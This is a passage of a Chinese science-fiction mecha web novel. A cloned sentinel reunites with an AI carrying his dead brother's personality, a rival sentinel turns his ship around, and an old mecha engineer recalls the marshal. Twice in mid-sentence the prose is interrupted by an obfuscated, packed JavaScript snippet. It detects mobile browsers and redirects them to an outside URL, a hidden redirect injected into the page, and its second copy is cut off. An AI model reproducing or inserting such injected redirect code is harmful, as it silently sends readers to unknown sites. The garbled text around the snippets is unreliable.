五号一挥袖,一张照片被显示在了屏幕之上。 “这是……” 埃弗顿瞪大眼睛,脑袋扭转,看向站在机甲上的银发青年,又看向大屏幕。 “哨兵……零号?” 沈莫玄并没有回答他的疑问,只是静静看着屏幕上那张似笑非笑的面孔。 “五号……” 他露出了若有所思的表情。 …… 视频信号的入侵同样也覆盖了正在矿区的囚犯们,看着采矿车屏幕上的人像,老刘握着采矿车方向盘的手微微颤抖。 “元帅……” 他那浑浊的双眼变得微微泛红,随即目光坚定起来。 “唉,老刘!你去哪儿?” 狱友的疑问无人应答,采矿车的履带在地上画出了一个U型,朝着黑塔所在的方向义无反顾地驶去。 7. 兄控AI “最后一次重申一遍,交出哨兵零号,否则,你们所有人都会给这颗星球陪葬。”屏幕中的五号这样说着,手中的匕首翻了一个优雅的刀花,随即和再次化作雪花的影像信号一起消失了。 没有了那回荡在所有光脑当中的声音,场面一下子变得十分安静。 “哨兵零号……”埃弗顿望着站在机甲上方的白发青年。 一个人的生命,和女神星上几千名狱警与囚犯的生命,这似乎是个不用思考的送分题。 但天平的两侧却因为那张非同凡响的面孔而变得摇晃起来,甚至隐隐倾斜向另一边。 沈莫玄歪了歪头,似乎也看出了他的犹豫。 “很为难吗?” “……”下一秒,埃弗顿的身体变得僵硬起来。 银发哨兵的身影不知何时鬼魅般的出现在了他身后,单手成爪扼住了他的脖颈,从他的后腰武器夹中抽出了一把粒子枪,抵在他的太阳穴上。 “这样吧。”他听见他凉凉的声音从耳畔响起,“我替你解决一下现在的困境。” 埃弗顿:“……” “你们的副狱长现在被我挟持了,如果不想要他出什么事的话,现在就放下武器,向我投降。”青年提高音量,这样说着。 四周的狱警面面相觑。 “他挟持了副狱长,怎么办?” “什么怎么办,副狱长平时凶巴巴的,对我们也不好。” “哦,那倒也是。” “而且他可是雷蒙德元帅啊……” “他刚刚说自己不是,他们只是长得像……” “ 那也比副狱长靠谱,我的第六感告诉我,他长得不像个坏人。” “我觉得你说得对。” 大概过了十几秒,噼里啪啦的卸除武器的声音从四面八方响起。 将四周的低声议论完全收入耳中的沈莫玄:“……” “昆仑,带我回黑塔。”他头也不回地说道。 “是,主人。” 巨大的机甲平举双手放在地上,等到沈莫玄拽着人质走上它的手掌,它才从半蹲的姿态缓缓起身,然后启动后背和腿部的推进器,将两人送回了黑塔上方。 …… 从那个被梼杌机甲轰出的洞中,沈莫玄回到了黑塔顶层,自己的复活点。 他从机甲手掌上跳下来,平稳落地。但乔治亚·埃弗顿就没有这么幸运了,一个踉跄连滚带爬地从那凹凸不平的机械手掌上掉下来,趴到了地上。 他手忙脚乱地支起身体,刚抬起头,就被面前的景象吓了一跳。 只见他的直属上司典狱长麦克·柯林斯死不瞑目的尸体正直愣愣地瞅着他那侧,而另一边,第六集团军特派来的向导米兰达·基茨少校倒在血泊里,胸口一个血淋淋的大洞。 “这……这……究竟是怎么回事?”埃弗顿意识到自己摊上大事了。 银发青年并没有向他那样一惊一乍的,只是来到休眠舱前,查看了一下四周的仪器上的参数,然后来到死去的女少校身旁,在她的身上巡视了一下,视线落到了她的手臂上。 女人的手指蜷曲成了一种不自然的形状,似乎在暗示什么。 沈莫玄伸出手去,抬起了米兰达·基茨的手臂,捏了捏她的手腕。 重量不对。 他撕开女人的袖口,在手腕的边缘摩挲了一下,然后找到了被掩盖在光脑下方的仿生皮肤与真人皮肤的衔接处。 “果然……” 沈莫玄用力拽住那放生皮肤边缘,将它剥离下来,露出了一只银色的机械手掌。 星际战争残酷而又危险,机械义肢已经成为了为战士修复身体的一种常见方式,想来米兰达的手掌也是如此。 没有了仿生皮肤的掩盖,在那手掌中央,一个黑色的插件显得格外引人注意。 银发青年将那个插件从手掌中央取出来,仔细端详。 这似乎是个储存器。 他将女人的双目阖上,站起身来,对着她行了个严肃的军礼,然后转身来到休眠舱前,将这个储存器插入了用来控制休眠舱的中控系统当中。 “检测到外部储存器,正在读取……正在加载……” 扬声器中传来一个毫无起伏的女声。 密密麻麻的数据流以每秒兆亿次的速度从光缆中经过,屏幕上弹出令人眼花缭乱的运行程式,在某一瞬间,忽然齐刷刷地陷入蓝屏。 “警告,系统遭到入侵滋滋滋滋¥%¥%%……%哥……哥……” 扬声器中传来一些杂乱的噪声,紧接着,沉闷的女中音被一个清亮开朗的少年音所替代。 围绕在沈莫玄身侧的所有仪器屏幕一同暗下,随后再度亮起,上面不约而同地冒出了一个三头身的Q版黑发少年。 “哥哥!阿白终于又见到你了~”少年眨了眨那双亮晶晶的星星眼。 “……”沈莫玄面无表情地歪了歪头。 “为什么是这种表情,难道哥哥认不出你最喜欢的阿白了吗?”屏幕上,Q版小人的星星眼变成了哭泣脸。 “你答应过我,就算我变成了一串二进制数字编译成的硅基生命也永远把我当作你最喜欢的弟弟的,你还说如果凤凰和我一起掉进水里,你会先救我,再去捞凤凰。” “……我说过吗?” “你说过的。”智能AI信誓旦旦地说着,“哥哥可是元帅大人,不能出尔反尔。” “你果然是雷蒙德元帅!”身后传来一道激动的声音,沈莫玄转过头,看着埃弗顿那惊喜到快要晕过去的模样。 “他们说元帅在最终决战之前留下了一具亚人克隆体,果然是真的!” 埃弗顿回忆着自己看过的那些传闻,原来藏在黑塔上的,不是什么穷凶极恶的罪犯,而是以雷蒙德大人为原版的亚人哨兵! “……元帅大人,那个五号哨兵说的都是真的吗?五大太空城都沦陷了,那现在我们该怎么办?是不是应该集结人马,杀回洪荒号?!” 中年男人说着说着,热血上头,脸色愈发激动。 沈莫玄用莫名其妙的眼神看着他身后自说自话的副狱长,“哪里来的人马?” “女神星上有几百名的机械狱警,虽然都是老式的天兵机甲,但是AI模块都还能自主运行——” “抱歉,打断一下。” 因为体型原因只能蹲在角落的昆仑举起了手表示自己有话要说,“副狱长所说的数据并不准确,虽然女神星上曾经有127架天兵机甲,但在刚刚的战斗当中,已经折损了大半,剩下的具有战斗力的不足半数,还有一些经过改造,已经被卸除了武器作战单元,只能做单纯的后勤工作。保守估计,目前能行动的机甲,应该只有三十余台了。” “而五号哨兵目前所掌控的银叶星是天将机甲的发源地,五大太空城中机械化程度最高的太空城,上面大概分布着上万台天将机甲,即使没有驾驶员,它们也能开启AI自主运行模式,战斗力不容小觑。” “总的来说,如果正面迎敌,我们毫无胜算,光是收复哨兵五号占领的银叶星都很困难,更不用说是绕过拱卫洪荒号的星链,去夺回洪荒号了。” 听完这通分析,埃弗顿的脸色红红白白的,好不精彩。 “照你这么说,我们除了投降,根本没有胜利的希望?” “恐怕是的,副狱长大人。”昆仑毫不客气地说。 埃弗顿转过身去,看向银发哨兵,想听他辩驳两句,却见对方不知从哪里拉来了一把椅子,已经老神在在地坐下了。 “元帅大人,难道您也这么认为吗?” 沈莫玄举起一根手指,“再说一遍,我不是道恩·雷蒙德,不要叫我元帅。” “ ……零大人。”埃弗顿艰难地改口,“如果情况真的如此糟糕,那我们现在该怎么办?” 银发青年收回手,托着脑袋。 “白泽,你有什么想法?” 扬声器中传来一道欢快的声音,“既然哥哥已经不是人类了,干脆放弃回洪荒号的想法,和阿白一起去做星际海盗吧,阿白可是超级厉害的AI,可以入侵宇宙中任意一艘战舰,我们一起浪迹宇宙,做自由自在的旅行者也不错~” 沈莫玄歪过头看了一眼身旁的屏幕,“你有多久没做病毒扫描了?最近去做年检了吗?” “阿白才不会中病毒呢!”被这么怀疑,白泽不开心了,“那些人当初那样迫害哥哥,现在遇到麻烦了却想要哥哥去救他们,实在是太懦弱无能了,他们必须承担自己错误决策的代价。” AI系统的声音越说越是冰冷,扬声器中那逐渐阴沉的少年音令人毛骨悚然。 "要我说,那些人根本不足以让哥哥牺牲自己去拯救,他们就应该去s——" “够了。”白泽的分析被一道淡淡的声音打断。 沈莫玄揉了揉眉心。 “你现在还是洪荒号的智能系统吗?” “不是了。”白泽语气委屈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706357|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他们格式化了我的人格,现在的洪荒号已经交由模板化的AI系统接管,我不想要被他们完全抹杀,才偷偷保存了自己的人格副本。” “怪不得。” 如果任凭这么反人类的AI管理洪荒号,不等蝎族打过来,联合军自己就已经全灭了。 沈莫玄无声地叹了口气,抬起头,看着在场唯一一个普通人。 “乔治亚·埃弗顿副狱长。” “是!”被点到名字的中年男人立正稍息,敬了个军礼。 “既然狱长已死,你现在就是这里的最高负责人了,一会儿五号到了,你就把我交出去吧。” "是!"埃弗顿下意识地应和,随即才意识到刚才对方说了什么,“等等,元帅……不,零大人,您要做什么?” “投降。”银发青年这样简单干脆地说着。 “您不如再仔细考虑考虑,一定还有别的办法的。”埃弗顿冥思苦想,“不如我们把哨兵六号作为人质来威胁五号……” 他说着说着,自己都编不下去了。 亚人和人类不同,他们情感淡薄,就像六号一样,连自己的向导都敢杀,更何况是另一个亚人。 他们就是纯粹的杀人机器,如同蝎族当中的雄蝎一样冷血无情。 据说早期哨兵在被投放战场之后曾经发生过精神力暴走攻击己方战友的意外,后来所有的哨兵都被强制要求佩戴能够释放高压电流的抑制颈环,高等级的哨兵更是必须绑定一名人类向导作为监护人,接受24小时精神监管。 眼前的哨兵也是亚人,但却没有佩戴抑制颈环,而且还是没有经过基因锁削弱的初代哨兵,虽然他是元帅的克隆体,但他会不会也突然…… “在想什么呢?埃弗顿副狱长。” 埃弗顿心虚的双眼和一双冷然的冰蓝色眼眸对视上,冷汗就噌地流下来了。 “不,没什么。” 沈莫玄用指尖敲击着椅子扶手,定定看了他几秒。 “你怕我?” “……怎,怎么会呢。” “你的心跳得太吵了。” 在不建立精神屏障的情况下,亚人的五感是正常人类的数倍,埃弗顿的心跳声就像急促的鼓点一样在沈莫玄的耳膜上作响。 若是长时间处于这种噪音污染下,就算是脾气再好的老实人也会陷入狂躁的吧,怪不得感觉以前认识的那几个S级哨兵性格都有些疯疯癫癫的。 见面前哨兵的语气似是有些不耐,埃弗顿的视线落在地面上那具被穿透了心脏的尸体一瞬,又赶紧移开,顿时脊背发凉。 “不好意思,不好意思。” 他转而捂住自己的胸口,仿佛这样的动作就可以让心跳的动静小点。 沈莫玄没在意他慌张的举止,只是闭上眼睛,将指尖支在太阳穴上,思维触丝从意识核中伸出,一层层地把外延的感官给包裹起来,将这些冗余的信息给过滤掉。 见他半晌不说话,埃弗顿两股战战,掌心下方的心反倒跳得越来越快,震得他手掌心都冒汗了。 脑海中已经想象出面前的银发哨兵就闪现到他的身后掏出他的心脏让他安静安静的画面,埃弗顿目露惶恐,开口想要解释。 “零大人……” 他的话被对方打断了。 “这里有没有什么会修机甲的人?” “哎?”埃弗顿愣了愣,像是没预料到话题会突然转到这儿,回过神来后的他悄悄松了口气,沉吟片刻后道,“会修机甲的人……或许是有的。” “让他来见我。” “是。”埃弗顿下意识地就往电梯方向走,直到来到那形变严重的电梯门前才意识到此处早已无法通行。 “大人,能不能……”埃弗顿进退两难地扭过头。 青年似乎提前预判了他的话,没有睁眼,就这么托着脑袋慢悠悠地张口道:“昆仑,把副狱长送下去。” “是,主人。”蹲在角落的机甲用手抓起了站在原地的中年男人,在他的尖叫声中墙壁破损的空洞里跳了出去。 这么一来,塔上就只剩下沈莫玄和AI白泽了。 “哥哥,你的脸色看起来不太好,是不是长时间休眠的后遗症?你需要好好休息一下,再多喝点热水……” AI这样说着,把室内的温度调节到了最高。 “白泽,你是怎么知道我在这里的?” 闭目养神的青年忽然开口。 “我的情况,你知道多少?” 8. 第二次生命 面对沈莫玄的提问,AI停顿了一下,回应道。 “哥哥,我知道的其实也不多。” “……在洪荒号上的时候,我偷听到了指挥官们的谈话,知道他们要派人来唤醒你,就拜托了基茨少校把我藏在她的机械手里。” “她知道我的事?” “她不知道,她只是以为你是没有记忆的克隆体,我骗她说你的记忆都在我这里,她就答应带我来了。” 沈莫玄睁开眼。 这个问题也是他从醒来就感到疑惑的。 “所以,我为什么会有以前的记忆?” “啊咧,所以哥哥真的记得以前发生的事情吗?全部?”AI又冒出了星星眼,“那哥哥还记得阿白我是怎么来的吗?” “……”沈莫玄把主动移近的屏幕推远了一点,“记得。” “哥哥说说嘛!让阿白来验证一下你的记忆是否正确!” “……”银发青年的眼眸暗了暗。 没人知道,道恩·雷蒙德有个小他八岁的同母异父的弟弟,叫沈莫白。 那个男孩继承了他母亲的智慧,长大后成了一名生化科学家,以“凯里安·沈”的身份进入了联合军的军事研究所,并提出了提取蝎族的增强基因和人类基因融合,创造亚人哨兵来代替人类战士驾驶机甲的概念。 当时所有人都把他当作科学疯子,只有当时已经是联合军第一机甲舰队总指挥的道恩·雷蒙德看到了这个想法未来的潜力,力排众议保下了这个研究项目,甚至在起初没有志愿者愿意主动参与的情况下,毅然贡献出了自己的基因作为实验样本。 亚人零号由此诞生,在那之后,一号,二号亚人胚胎也陆续繁育成功。 在二号的胚胎成功着床人造子宫的那天,道恩·雷蒙德接到了沈莫白的一通视频电话。 “哥哥!我成功了!我成功了!” “成功什么?” “嘿嘿,这是个惊喜,现在不告诉你。”屏幕另一头的青年笑了起来,虽然是个智商160的天才科学家,但他在和兄长相处的时候经常表现得像小孩子一样,“我现在就在去舰队指挥室的路上,等过一会儿,哥就会知道了。” “好。” 道恩·雷蒙德没有预料到,那是他和沈莫白此生最后一通电话。 再次见面的时候,不是在他的办公室,而是在研究所。 用来关押族实验体蝎的牢笼里只剩下大片的血泊和零星的肉块,支离破碎的白大褂上,别着写有“凯里安·沈”名字的ID卡,面带微笑的黑发青年的相片被鲜血覆盖。 嫉妒和利益原来真的可以让人不择手段,即便是在这场威胁全人类的危机面前,也不妨有人心存私心,用最险恶的方式来阻挠亚人实验的推进。 “没什么可说的,又不是什么开心的事情。” 银发青年偏过头,闭口不言。 但他的反应却印证了他拥有这段记忆的事实。 “当时我正走在去舰长室的路上,突然就有人从背后捂住我的鼻子,等我醒来的时候,身体就已经只剩下半截了……” 屏幕上的Q版小人抱着短短的手臂,用一种旁观者的语气说着那段惨痛的往事。 “还好那些人给的麻醉剂分量足够,我醒来之后没过多久就彻底无意识了……现在也想不起来到底有没有感受到被活活吃掉的痛苦了……” “不过我早有预料自己会有那么一天,所以提前把所有人格记忆留了一个数字备份,交由哥哥来保存,现在想想真是太明智了。” 在研究员凯里安·沈死去之后的第二年,新晋的联合军元帅入主洪荒号,AI智能体白泽被上传至洪荒号中控系统,成为了掌控着联合军这艘航母级太空堡垒战舰上所有高精尖武器与自动化设备的超脑。 “没有哥哥的话,我也不会变得这么厉害!一人之下,万人之上的超级AI哎!这么想想,我死得也不亏。” “……”沈莫玄看着自己少根筋的弟弟在屏幕里面摆出了一个戴着墨镜装酷的表情,无言了片刻,“这是什么值得高兴的事情吗?” “当然了!”白泽立刻用力点了点头,“只要哥哥还在洪荒号上,我就可以七天二十四小时和哥哥呆在一起!陪哥哥吃饭,睡觉,工作……简直不要太棒了!世界上还有比战舰AI更完美的生命形态吗?” “少贫了。”沈莫玄制止了白泽的痴汉发言,“所以,我有记忆的原因,你并不知道?” “唔……”白泽停了下来,摆出了托腮思考的动作,“说实话,我也很意外哥哥能拥有记忆。不过生命的奇迹总有一些是科学无法解释的,或许是两具具有相同基因的身体之间存在量子纠缠,临死前,你的灵魂被传送到了零号哨兵的身体里。” “灵魂……” 这个答案太过离奇,沈莫玄难以相信,但眼下,也没有更好的理由可以解释这一切了。 “……今年是星历几年?” “现在是星历140年,你已经睡了二十年了,哥哥。” “二十年……”银发青年偏过头,看着墙外那变幻莫测的极光。 半晌,他再度启唇。 “既然已经二十年了,为什么蝎族还没灭绝?” "是那些人类太没用了,哥哥。" 扬声器中,白泽的声音忽然冷了下来。 “是他们白白辜负了你的牺牲。” “没有你在的联合军成了一盘散沙,五大太空城各自为政,六大军团都由不同的势力控制,因为内斗错过了反攻蝎族大本营的最佳时机,之后虫洞坍缩,我不得不重新规划路线,建立跃迁通道。” “但新诞生的蝎后孕育出了能够屏蔽向导精神控制的S级寄生蝎,反向控制了哨兵……在我离开洪荒号之前,那里也已经被围攻,情况凶多吉少。” 白泽的话语很简练,但从他的寥寥几句描述中,已经可以窥见战势的凶险。 洪荒号是地球最后一道防线,如果洪荒号也被蝎族攻陷,那么…… “傅恒呢?”沈莫玄念出了那个名字。 那个过度慎重且疑心病十级的家伙……竟然会允许形势糟糕到这个地步么。 “……他早就已经死了。”白泽用平静的语气说出那句话。 青年的眼睫颤了颤。 “当初为了实现‘帝国与联盟互相制约,和平共存’的目标,你将他亲手扶持到总统之位上。可他却猜忌你,忌惮你,逼迫你立下终生不绑定任何哨兵的誓言,让你不得不独自一人面对蝎后……你死的消息传开之后,局势逐渐失去控制,内战打响后,他在一次政治宣讲时被旧帝国的激进派势力刺杀,当场身亡。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看见那个请求上备注的名字,五号显示不耐烦地啧了一声,随后不情不愿地敲下了同意键。 “五号,你到哪里了?”一道冷漠的声音响起。 “还有三小时四十七分钟就可以着陆了。”五号斜睨着屏幕上那道模糊的身影,“二号,这已经是你第几次问我同样的问题了?要是这么着急,你就自己去找他,不要让我去。” “银叶星的直线距离距离女神星最近,你是我们五个当中能够最快支援六号的。” “支援?”五号哼笑一声,“蝎后已经感应不到六号脑中的主宰神经蝎,你确定他还活着?” “……零号刚刚苏醒,需要收集情报,不会轻易杀了他的。” “可怜的孩子。”五号叹了口气,掌心的匕首在指尖旋转,语气有几分幸灾乐祸,“他出生得太晚,没见识过初代哨兵的厉害,你也不多提醒他几句。” “我提醒了。”二号的语气硬梆梆的,“是他自己找死。” “呵呵。”五号眯起那双紫眸,“零号苏醒的时候,只有你和六号在场,你都听见什么了?” “……” “怎么?都是战友,连这点信息都不愿意共享?” 屏幕中的哨兵沉默了片刻,“……我怀疑,他有可能拥有元帅的记忆。” 9. 另一个弟弟 啪嗒—— 在五号掌心翻飞的匕首落到了地上。 紫眸哨兵脸上褪去了嬉笑的表情,他支起身体,将脑袋凑近屏幕,一字一句地问道。 “你、说、什、么?” “我说,他有可能拥有元帅的记忆。”二号顿了顿,落在地上的耳麦遭到了损坏,他并没有听到太多情报,“他说出了关于六号的事……那只六号。” “你是说那只咬伤过我的畜生?”五号咬牙道。 “……没错。” 五号双手撑着操作台,站了起来。 “这么重要的事情,你怎么不早和我说。” 他一改那漫不经心的态度,在驾驶舱中踱步起来,一边走一边扯着自己脖子上的抑制环,神情肉眼可见得焦躁。 “你是说我现在要面对的人,不仅是个该死的初代哨兵,还有人类最强指挥官所有的战斗经验和军事谋略?” 五号在驾驶舱兜兜转转了没几秒,便径直来到操作台前,用手把操作杆往后一拨。 正在全速推进当中的星舰一阵晃动,尾部的推进器开始调转方向。 “五号,你在干什么?” “你说我在干什么?掉头回老家!”五号用力瞪了一眼屏幕中的二号,“我就说你这个死兄控为什么会把这件差事丢给我,想让我一个人去当炮灰,你想得倒挺美!” 伴随着星舰的晃动,屏幕中的人影似乎清晰了一些。 那是个面容清秀的青年,留着一头干练的及耳黑发,眼眸深沉如墨,仔细看去,他的模样和AI系统白泽拟态出的少年有些肖似,但要更加成熟一些,虽然发色和眸色都属于明显的亚裔特征,但从那深邃的眼窝和英挺的鼻梁上看,却更像帝国后裔。 仔细看去,在他的脖颈靠近耳根的位置也有一颗红痣,只是位置在右侧,颜色要更深一些。 相比拟态成十二三岁少年形态的AI白泽,二号显然长得更像是那位创造出哨兵的研究员“凯里安·沈”。 但他并不是凯里安,也没有凯里安的记忆,只是凯里安用自己的基因和哨兵零号的基因融合在一起培养出的亚人克隆体。 “……你冷静一点,五号,零号有可能并不完全拥有元帅的记忆,只是因为看见了六号的铭牌,所以对过去产生了一些似曾相识的错位感……这是基因过于相似带来的副作用,你也知道那种感觉。” 二号的语气依然很镇定。 “就算他拥有元帅的记忆,他也做不了什么,毕竟女神星上没有天将机甲,而元帅的契约机甲凤凰在你管辖下的银叶星,残骸被拆解成了若干个部分分别封锁在不同的仓库里。没有机甲的哨兵就如同没有手足的残疾人,即便他是初代哨兵,也不可能是拥有S级天将机甲夜魇的你的对手——只要你不要像六号那样轻敌。” 五号的眼底微不可察地闪过一丝不自然的光芒。 “……我担心的不是这个。”他偏过头。 见他神情动摇,二号又道。 “你忘了我们为什么要选择走上这条道路了吗?” 五号的眉毛狠狠抖了抖。 作为精神力强大的S级哨兵,在向导的精神壁垒和自身意志的防护下,本不应该被蝎后轻易策反。 说到底,是他们早就已经心存反意了。 抚上脖颈坚硬的合金抑制环,五号的紫眸当中闪过一丝狠厉。 这个颈环是特制的,一旦戴上就会强制锁死,除非砍掉头颅,否则永远无法取下。 戴着这个颈环,就意味着无论他们实力达到了怎样的巅峰,也永远会被一个实力远不如自己的人类向导牢牢掌控在手心,当做一条呼来唤去的狗一样使唤。 不,连狗都不如,狗至少还能享受主人的爱抚和照顾,可他们不过是联合政府派到前线收割战利品的工具,苦力是他们出的,军功却都归属了那些不劳而获的人类,低等级的哨兵甚至被当做消耗品,就算是死了也不会被多看一眼。 但哨兵的基因缺陷却让他们无法脱离向导存活,就连心存反叛的念头都有可能会被向导感知到。他们只能够借蝎后的手,用主宰神经蝎来摆脱向导的束缚。 可这一切本不应该是如此。 全都是因为那个人…… 五号不止一次想,如果道恩·雷蒙德能够复活,他一定要站在他的面前,质问他为什么要抛弃他亲自培养出来的孩子,为什么在穆马星决战的时候,要选择独自面对蝎后。 就算注定是死,他也愿意和他一起死在一起。 可他偏偏选择让他们提前撤离,然后独自死在了那里,让他们像是没了主人的野狗一样成为了任人欺凌的存在。 是他把他们逼到了人类的对立面。 这不是一场反叛,而是一次报复。 对那位狠心撒手人寰的亡者的报复。 “我会去见他。” 双眼闭上又再度睁开,五号沉住气,低声道。 “如果他真的有元帅的记忆,那我倒要好好问候他一下了。” …… 此刻的女神星: 刘治来到机械维修仓库的时候,入目便是一架高大的墨绿色机甲。 机甲被固定在维修桁架中央,机械臂呈平举状态,臂甲的外壳打开,露出无数精密的线束和机械元件,一个身形高大挺拔的银发青年正背对着他站在空中的移动平台上维修机甲。 大概是因为仓库里有些闷,青年将身上的橙色连体维修服的拉链褪到了腰间,解下的上衣用两条袖管系住,仅余下黑色紧身背心穿在身上,行动间脊背与手臂的线条起伏分明。 他戴着一副半透明的护目镜,右手拿着一台微型修复器,随着机器的细长枪口精准地贴在受损的线束表面,银白色的液体金属渗入锈迹斑斑的截面,原本断裂的线束被重新衔接,紧接着蓝光一闪,高能量的等离子光线修复了线束表面的锈迹,登时让其焕然一新,重新泛起了明亮的光泽。 飞溅的光粒子在半透明的护目镜上变幻莫测,让那棱角分明的侧颊显得格外专注冷静。 滋啦滋啦滋啦—— 刘治看见那抹身影时心尖炸开的火光比电焊枪的火花更加热烈。 “元帅大人……” 他喃喃着,不知何时已经热泪盈眶。 昆仑的目光落在了在仓库门口发愣的囚犯身上。 “主人,0217号到了。” “嗯。“ 沈莫玄应了一声,却并没有回头,只是耐心修复完昆仑的右臂,然后退开几步道。 “再抬一下手指,还会有滞涩感吗?” 昆仑如他所说那样,轮流活动了一番右边的手指,“我感觉好多了,谢谢主人。” 沈莫玄这才将修复器放到一旁,操控着移动平台从半空中下降到地面,摘下护目镜放在一旁,转身看向站在门口的男人。 那是个满脸胡茬的中年男人,穿着一身蓝白相间的狱服,气质有些颓废。 他看 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从第一军团最年轻的机甲总工程师,天将机甲核心研发团队负责人,到流落贫瘠监狱星的劳改犯,就仿佛是从天上坠到了泥里。 或许这也是自己的死造成的一系列连锁反应吧…… 沈莫玄不知道对方这些年经历了多少辛酸,他已经做好了接受对方怨怼的心理。 可面前的中年男人却没有发出任何抱怨,只是感慨着。 “大人……刘某没想到在有生之年还能再见到您这幅模样。”刘治看着逆光而立的银发青年,直至这道英姿飒爽的身影与记忆中那身穿制服的军官重合。 就仿佛往日重现,无数他以为早已淡忘的记忆浮现在脑海中。 记忆回到三十年前,他因为家境贫寒付不起军事学院机械专业高昂的学费,只能半路辍学,好不容易靠着普招进了后勤部,成了一名机甲维修师,却因为资历太浅一直不得重视。 “长官,请您相信我,这种精神连接式的驾驶方式会比手动控制远远适合大部分战士!” “你让我相信用脑子想想就能操纵机甲战斗?刘治,你这是不切实际的妄想!你要如何保证机甲和战士之间能够稳定连接?连操纵杆都没有,你想让我们的战士去白白送死吗?” “现在联合军中的机甲战士平均服役年龄不到两年,其中能够熟练操纵天兵机甲的能有多少位?除了雷蒙德元帅的操作准确率平均值始终高于90%,其余战士最高也就70%左右,一旦在战场上失误,死亡的可能性难道不是更大吗?” “够了,这个提案你不用再说了,像你这个年纪,又是军事学院肄业,我能让你加入后勤部已经是破格了,你只是一个维修师,做好你的本职工作,不要总是异想天开想一出是一出!” “长官,长官,等等——” 画满了零件工程图和公示参数的纸张散落了一地,后勤部高层的军官们不屑一顾地踩着纸张走开,眼看自己的心血被践踏,刘治连忙蹲下身去,手忙脚乱地将那些纸张一张张捡起…… 一只戴着黑色皮质手套的手抢先他一步拾起地上一张画着驾驶舱截面草图的纸张,拍掉上面的脚印灰尘。 刘治抬起头去,逆着光,看见了那穿着蓝黑色军装制服的银发男人和他肩章上闪亮的银色星星。 在他面前的,正是整个联合政府炙手可热,万人巴结的对象,彼时在前线屡屡凯旋而被破格提拔为联合军总指挥官的道恩·雷蒙德元帅。 10.辉耀晶石 男人似乎刚从前线回来,身上还带着血与硝烟的气息,眉宇间露出着淡淡的疲惫,可那双冷蓝色的双眸却依然清明,他仔细地看了那张纸上画的参数半晌,才将视线移开,落在半蹲在地上不知为何神情怔忪的机械维修师上。 “这是你画的?” “元帅……”首席指挥官有自己指定的顶级机甲维修师,刘治只不过是个后勤部的大头兵,连触碰对方的机甲的资格都没有,更不用提见到对方。 这是他和道恩·雷蒙德第一次见面,他惶恐至极,连忙站直身体朝对方敬礼,却又紧张得说不出话,只讷讷点头。 “是……是我画的。” “很特别的想法。” 男人这样评价着。 “你认为精神连接能够让机甲战士的操作准确率提升20%?” “……只……只是一般的驾驶员,如果是像您这种水平的,能提升的程度,可能不大。”刘治不敢说大话,只弱弱地回答。 “你有多少把握?” “大概……七成。” “你叫刘治?” “……是的。” 银发男人沉沉看了他一眼,“现在去宿舍收拾好你的所有东西,准备好……” 刘治一惊——难道自己冒犯了对方,现在就要卷铺盖走人了吗? “——到银叶星第一军团机甲研发基地报到。” “什……什么?”刘治惊讶地说话都结巴了。 而男人只是对身旁的副官交代着,“和阿诺德部长说声,后勤部的刘治中士我要了,今天之内务必协助他做好组织关系转移,如果任何人有异议,让他们直接来找我。” “是,元帅。” 刘治的心脏扑通扑通地跳了起来。 从那天开始,他就决定要为面前的人鞠躬尽瘁,死而后已。 却没想到命运弄人,他发誓要跟随一辈子的领袖,在浩瀚星宇中英年早逝,生命终止在了最为璀璨的年华里。而他自己也因为政敌的迫害而锒铛入狱,不得不和家人分离,在这个荒芜的星球上度过郁郁的晚年。 那双拿笔计算公式绘制草图的手,早就已经因为繁重的劳工而布满老茧,而当初那个踌躇满志的青年,也被现实磨平棱角,成了狱友们口中那个无所事事的“老刘”。 但山穷水复疑无路,柳暗花明又一村。 就在他决定认命的那一刻,那抹熟悉的身影再次出现在了眼前。 就好像是伸手不见五指的极度黑暗之中,映入谷底的一束光。 不知不觉中,刘治早已热泪盈眶。 “您依然如当年那般器宇不凡,可刘某却已经老眼昏花,还落得这般难堪的境地,哎……实在是愧对您当年的关照。” 一张干净的纸巾被递到面前。 “多谢大人……” 中年男人抬起自己有些颤抖的手,接过青年手中的纸巾,揩掉眼角溢出的泪。 沈莫玄静静地等对方收拾好自己的情绪,才开口说道。 “刘总工……” 刘治摆了摆手,“大人您和其他人一样,叫我老刘就好……总工这个头衔,我现在可当不起了。” “既然如此,那你现在也不用叫我大人,我现在的名字是沈莫玄,你可以叫我小沈。” “这……这可使不得!我何德何能这样称呼您……”刘治连连拒绝。 “你都叫昆仑小绿了,我觉得,叫我小沈倒也无妨。”沈莫玄语气坦然。 “这……”刘治扭过头,这才发现那台屹立在银发青年身后的墨绿色机甲有些眼熟。 “又见面了,0217号。”墨绿色的机甲歪了歪头,将视线落到他的身上,语气不卑不亢。 刘治看着这架曾经被自己玩笑般称呼为“小绿”的机甲,深吸了一口气,将身体往下一躬,弯折成九十度,朝着机甲道歉道。 “抱歉,昆仑阁下,之前不知道您是莫玄大人的契约机甲,多有冒犯,还请见谅。” 他说完了话,身体却没有直起来,显然道歉的态度十分真诚。 机械齿轮运转的声音响起,巨大的机甲徐徐弯腰,将一根粗壮的机械手指伸到了中年男人面前。 “不必放在心上,刘总工,之后请多多关照了。” “……”刘治眨了眨眼,犹犹豫豫地伸出了两只手,握住那根机械手指。 冰冷坚硬的机械手臂带动着他的手上下摇了摇,好像是一次握手。 做完这些的机甲试图把腰直起来,但腰部的零件却发出了吱嘎卡壳的声音,它顿了顿,将手臂转回去撑住后腰。 “见笑了。”这样说着,昆仑用比之前更加缓慢的速度,重新直起了身体。 见机甲顺利地恢复站立姿势,沈莫玄才扭过头,看着面前的中年男人。 